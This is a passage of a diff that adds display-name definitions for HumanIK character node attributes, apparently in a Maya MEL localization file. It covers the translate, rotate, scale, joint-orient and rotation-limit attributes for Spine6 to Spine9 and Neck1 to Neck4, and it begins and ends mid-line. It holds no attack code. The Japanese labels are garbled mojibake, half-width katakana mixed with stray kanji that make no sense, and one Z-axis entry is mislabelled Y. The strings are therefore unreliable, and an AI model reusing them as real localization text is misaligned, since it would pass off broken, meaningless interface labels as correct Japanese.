+setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitEnabley", "ニモテシケラオ 6 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitEnablez", "ニモテシケラオ 6 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitEnablex", "ニモテシケラオ 6 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitEnabley", "ニモテシケラオ 6 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitEnablez", "ニモテシケラオ 6 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7", "シケラオ 7" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7T", "シケラオ 7 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Tx", "シケラオ 7 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Ty", "シケラオ 7 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Tz", "シケラオ 7 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7R", "シケラオ 7 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Rx", "シケラオ 7 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Ry", "シケラオ 7 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Rz", "シケラオ 7 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7S", "シケラオ 7 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Sx", "シケラオ 7 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Sy", "シケラオ 7 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Sz", "シケラオ 7 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateOrder", "シケラオ 7 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateAxis", "シケラオ 7 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateAxisx", "シケラオ 7 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateAxisy", "シケラオ 7 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateAxisz", "シケラオ 7 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7JointOrient", "シケラオ 7 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7JointOrientx", "シケラオ 7 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7JointOrienty", "シケラオ 7 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7JointOrientz", "シケラオ 7 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimit", "シケラオ 7 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitx", "シケラオ 7 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimity", "シケラオ 7 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitz", "シケラオ 7 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimit", "シケラオ 7 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitx", "シケラオ 7 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimity", "シケラオ 7 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitz", "シケラオ 7 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitEnablex", "ニモテシケラオ 7 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitEnabley", "ニモテシケラオ 7 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitEnablez", "ニモテシケラオ 7 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitEnablex", "ニモテシケラオ 7 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitEnabley", "ニモテシケラオ 7 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitEnablez", "ニモテシケラオ 7 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8", "シケラオ 8" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8T", "シケラオ 8 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Tx", "シケラオ 8 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Ty", "シケラオ 8 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Tz", "シケラオ 8 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8R", "シケラオ 8 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Rx", "シケラオ 8 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Ry", "シケラオ 8 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Rz", "シケラオ 8 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8S", "シケラオ 8 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Sx", "シケラオ 8 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Sy", "シケラオ 8 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Sz", "シケラオ 8 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateOrder", "シケラオ 8 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateAxis", "シケラオ 8 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateAxisx", "シケラオ 8 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateAxisy", "シケラオ 8 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateAxisz", "シケラオ 8 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8JointOrient", "シケラオ 8 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8JointOrientx", "シケラオ 8 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8JointOrienty", "シケラオ 8 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8JointOrientz", "シケラオ 8 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimit", "シケラオ 8 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitx", "シケラオ 8 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimity", "シケラオ 8 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitz", "シケラオ 8 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimit", "シケラオ 8 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitx", "シケラオ 8 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimity", "シケラオ 8 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitz", "シケラオ 8 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitEnablex", "ニモテシケラオ 8 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitEnabley", "ニモテシケラオ 8 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitEnablez", "ニモテシケラオ 8 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitEnablex", "ニモテシケラオ 8 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitEnabley", "ニモテシケラオ 8 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitEnablez", "ニモテシケラオ 8 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9", "シケラオ 9" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9T", "シケラオ 9 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Tx", "シケラオ 9 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Ty", "シケラオ 9 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Tz", "シケラオ 9 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9R", "シケラオ 9 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Rx", "シケラオ 9 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Ry", "シケラオ 9 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Rz", "シケラオ 9 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9S", "シケラオ 9 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Sx", "シケラオ 9 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Sy", "シケラオ 9 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Sz", "シケラオ 9 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateOrder", "シケラオ 9 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateAxis", "シケラオ 9 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateAxisx", "シケラオ 9 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateAxisy", "シケラオ 9 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateAxisz", "シケラオ 9 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9JointOrient", "シケラオ 9 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9JointOrientx", "シケラオ 9 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9JointOrienty", "シケラオ 9 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9JointOrientz", "シケラオ 9 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimit", "シケラオ 9 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitx", "シケラオ 9 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimity", "シケラオ 9 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitz", "シケラオ 9 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimit", "シケラオ 9 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitx", "シケラオ 9 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimity", "シケラオ 9 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitz", "シケラオ 9 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitEnablex", "ニモテシケラオ 9 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitEnabley", "ニモテシケラオ 9 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitEnablez", "ニモテシケラオ 9 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitEnablex", "ニモテシケラオ 9 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitEnabley", "ニモテシケラオ 9 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitEnablez", "ニモテシケラオ 9 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1", "セアイソ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1T", "セアイソ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Tx", "セアイソ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Ty", "セアイソ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Tz", "セアイソ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1R", "セアイソ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Rx", "セアイソ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Ry", "セアイソ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Rz", "セアイソ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1S", "セアイソ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Sx", "セアイソ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Sy", "セアイソ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Sz", "セアイソ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateOrder", "セアイソ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateAxis", "セアイソ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateAxisx", "セアイソ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateAxisy", "セアイソ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateAxisz", "セアイソ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1JointOrient", "セアイソ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1JointOrientx", "セアイソ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1JointOrienty", "セアイソ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1JointOrientz", "セアイソ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimit", "セアイソ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitx", "セアイソ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimity", "セアイソ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitz", "セアイソ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimit", "セアイソ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitx", "セアイソ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimity", "セアイソ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitz", "セアイソ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitEnablex", "ニモテセアイソ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitEnabley", "ニモテセアイソ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitEnablez", "ニモテセアイソ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitEnablex", "ニモテセアイソ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitEnabley", "ニモテセアイソ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitEnablez", "ニモテセアイソ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2", "セアイソ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2T", "セアイソ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Tx", "セアイソ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Ty", "セアイソ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Tz", "セアイソ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2R", "セアイソ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Rx", "セアイソ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Ry", "セアイソ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Rz", "セアイソ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2S", "セアイソ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Sx", "セアイソ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Sy", "セアイソ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Sz", "セアイソ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateOrder", "セアイソ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateAxis", "セアイソ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateAxisx", "セアイソ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateAxisy", "セアイソ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateAxisz", "セアイソ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2JointOrient", "セアイソ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2JointOrientx", "セアイソ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2JointOrienty", "セアイソ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2JointOrientz", "セアイソ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimit", "セアイソ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitx", "セアイソ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimity", "セアイソ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitz", "セアイソ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimit", "セアイソ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitx", "セアイソ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimity", "セアイソ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitz", "セアイソ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitEnablex", "ニモテセアイソ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitEnabley", "ニモテセアイソ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitEnablez", "ニモテセアイソ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitEnablex", "ニモテセアイソ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitEnabley", "ニモテセアイソ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitEnablez", "ニモテセアイソ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3", "セアイソ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3T", "セアイソ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Tx", "セアイソ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Ty", "セアイソ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Tz", "セアイソ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3R", "セアイソ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Rx", "セアイソ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Ry", "セアイソ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Rz", "セアイソ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3S", "セアイソ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Sx", "セアイソ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Sy", "セアイソ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Sz", "セアイソ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateOrder", "セアイソ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateAxis", "セアイソ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateAxisx", "セアイソ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateAxisy", "セアイソ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateAxisz", "セアイソ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3JointOrient", "セアイソ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3JointOrientx", "セアイソ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3JointOrienty", "セアイソ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3JointOrientz", "セアイソ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimit", "セアイソ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitx", "セアイソ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimity", "セアイソ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitz", "セアイソ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimit", "セアイソ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitx", "セアイソ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimity", "セアイソ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitz", "セアイソ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitEnablex", "ニモテセアイソ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitEnabley", "ニモテセアイソ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitEnablez", "ニモテセアイソ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitEnablex", "ニモテセアイソ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitEnabley", "ニモテセアイソ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitEnablez", "ニモテセアイソ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4", "セアイソ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4T", "セアイソ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Tx", "セアイソ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Ty", "セアイソ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Tz", "セアイソ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4R", "セアイソ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Rx", "セアイソ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Ry", "セアイソ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Rz", "セアイソ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4S", "セアイソ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Sx", "セアイソ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Sy", "セアイソ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Sz", "セアイソ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateOrder", "セアイソ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateAxis", "セアイソ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateAxisx", "セアイソ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateAxisy", "セアイソ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateAxisz", "セアイソ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4JointOrient", "セアイソ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4JointOrientx", "セアイソ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4JointOrienty", "セアイソ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4JointOrientz", "セアイソ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimit", "セアイソ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitx", "セアイソ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimity", "セアイソ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitz", "セアイソ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimit", "セアイソ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitx", "セアイソ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimity", "セアイソ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MaxRLimitz", "セアイソ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitEnablex", "ニモテセアイソ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4MinRLimitEnabley", "ニモテセアイソ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", 